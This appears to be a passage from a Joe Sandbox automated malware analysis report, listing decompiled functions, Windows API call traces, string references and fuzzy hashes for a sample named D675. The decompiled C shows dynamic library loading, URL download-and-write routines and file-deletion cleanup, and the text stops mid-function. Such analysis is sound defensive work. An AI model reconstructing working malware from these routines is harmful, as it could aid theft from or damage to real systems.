Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,005FEC80), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,005FE518), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,005FEC90), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00615558), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,006168D8), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(Xja,00616A58), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(Xja,00616A70), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(Xja,00615578), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(006189F8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

``a, xrefs: 0040670E
xTa, xrefs: 004066E6, 0040671B, 00406831
Hha, xrefs: 004066FA
8wa, xrefs: 00406765

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: 8wa$Hha$``a$xTa
API String ID: 2767677664-3176268880
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00587B50, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(p_a,0041B488,0000FFFF), ref: 00587B7E
lstrcat.KERNEL32(?,0041B488), ref: 00587BAD
lstrcat.KERNEL32(?,004191E8), ref: 00587BBF
lstrcat.KERNEL32(?,00000000), ref: 00587BD0
SetEnvironmentVariableA.KERNEL32(p_a,?), ref: 00587BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00587C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00587C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00587C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00587C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00587C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00587C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00587CA1

Strings

p_a, xrefs: 00587B78, 00587B7D, 00587BDD, 00587BE3

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: p_a
API String ID: 570708976-2888212759
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: f2686bd8308feef4b3728b43310cbfbabdab51807f5bf1b902019ced4a4ec4fc
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 26414AB5112204DFD714EFA8ED48AE53BF8BB0C305F14C57AF50592260C7799AA2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x615f70
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x615f70
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x615598
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x618680
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x618878
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x618d68
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x6187a0
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x618cc8
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x618860
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00615F70,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00615F70,?), ref: 00407994
LoadLibraryA.KERNEL32(00615598), ref: 004079B2
GetProcAddress.KERNEL32(00000000,00618680), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00618878), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00618D68), ref: 00407A08
GetProcAddress.KERNEL32(00000000,006187A0), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00618CC8), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00618860), ref: 00407A51

Strings

p_a, xrefs: 00407928, 0040798D

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: p_a
API String ID: 570708976-2888212759
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00586030, Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(8wa), ref: 00586039
DeleteFileA.KERNEL32(`wa), ref: 00586046
DeleteFileA.KERNEL32(va), ref: 00586053
DeleteFileA.KERNEL32(ta), ref: 0058605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0058606C
DeleteFileA.KERNEL32( va), ref: 00586079
DeleteFileA.KERNEL32(hta), ref: 00586085

Strings

8wa, xrefs: 00586033, 00586038
hta, xrefs: 0058607F, 00586084
va, xrefs: 0058604C, 00586052
ta, xrefs: 00586059, 0058605E
`wa, xrefs: 0058603F, 00586045
va, xrefs: 00586072, 00586078

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: DeleteFile
String ID: va$8wa$`wa$hta$ta$va
API String ID: 4033686569-753141412
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00585D50, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00585E0A
lstrcat.KERNEL32(?,00000000), ref: 00585E23

Part of subcall function 0058C1A0: SHGetFolderPathA.SHELL32(00000000,00585E30,00000000,00000000,?,?,000003E8), ref: 0058C1CB

Part of subcall function 0058C100: StrStrA.SHLWAPI(?,?,?,00585E47,?,8ia,00000000), ref: 0058C10E

lstrcpy.KERNEL32(?,00000000), ref: 00585E52

Part of subcall function 0058C100: lstrcpyn.KERNEL32(0041AC88,?,?,?,00585E47,?,8ia), ref: 0058C132
Part of subcall function 0058C100: wsprintfA.USER32 ref: 0058C18B

lstrcpy.KERNEL32(?,00000000), ref: 00585E81
lstrcpy.KERNEL32(?,00000000), ref: 00585EB0
lstrcpy.KERNEL32(?,00000000), ref: 00585EDF

Strings

`ha, xrefs: 00585E92, 00585E98
8ia, xrefs: 00585E34, 00585E3A
xha, xrefs: 00585EC1, 00585EC7
<, xrefs: 00585F24

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: 8ia$<$`ha$xha
API String ID: 2415926151-2889921966
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: d53f7b0d4776d54f6de185e1788258754ef7711428e120fd6176fcbd0124a224
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: AE6150F1900218ABDB25EB60DC89FDA7B787B48704F0045D9F709A6151EB749B88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x616938
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x616818
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x616860
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x616878
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_v1124 =  *0x41a694;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(8ia,?,?,004061B1,?,00616938,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,8ia,8ia,?,004061B1,?,00616938), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

xha, xrefs: 00405C71
`ha, xrefs: 00405C42
<, xrefs: 00405CD4
8ia, xrefs: 00405BE4

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: 8ia$<$`ha$xha
API String ID: 2415926151-2889921966
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 21.0, APIs: 7, Strings: 5, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;

				_t1 =  *0x41a6a4; // 0x617738
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x617760
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x6176e8
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x6174e0
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x615598
				DeleteFileA(_t12);
				DeleteFileA( *0x41a4a8);
				_t9 =  *0x41a700; // 0x617468
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00617738,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00617760,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(006176E8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(006174E0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00615598,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(00617620,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00617468,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

ta, xrefs: 00405E09
va, xrefs: 00405DFC
hta, xrefs: 00405E2F
`wa, xrefs: 00405DEF
8wa, xrefs: 00405DE3

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: DeleteFile
String ID: 8wa$`wa$hta$ta$va
API String ID: 4033686569-520901292
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00588530, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005885AF
RtlAllocateHeap.NTDLL(00000000), ref: 005885B6
lstrcat.KERNEL32(?,0041A208), ref: 00588631

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00000000), ref: 00588675
lstrcat.KERNEL32(?,0041A488), ref: 00588688
lstrcat.KERNEL32(?,?), ref: 0058869C
lstrcat.KERNEL32(?,0041A158), ref: 005886B0
lstrcat.KERNEL32(?,?), ref: 005886C4
lstrcat.KERNEL32(?,004191F0), ref: 005886D6
lstrcat.KERNEL32(?,?), ref: 005886EA
lstrcat.KERNEL32(?,00418BC0), ref: 005886FC
lstrlen.KERNEL32(?), ref: 0058870E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: 29bfc27a0133db843af59de04683f441461b0138907db48189a10d812bdcf200
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 3D5153B1A00108ABCB14EBA4DD4AEDA77B8FF4C705F008594F709D3251DA359EA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,006186E0), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00618788), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,00618E28), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00584C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00584C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00584CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00584D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00584D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00584D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00584D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00584DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00584E0C
InternetCloseHandle.WININET(?), ref: 00584E16
InternetCloseHandle.WININET(00000000), ref: 00584E23

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: c48f0a49a7963374bed583fda3af34f9d4bd64f39e90f816667b7f16dd1ed9fd
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: AA5162B1A41319ABDB20DF50DC49FEE7BB8BB48705F108499FA05BA1C0D774AA84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
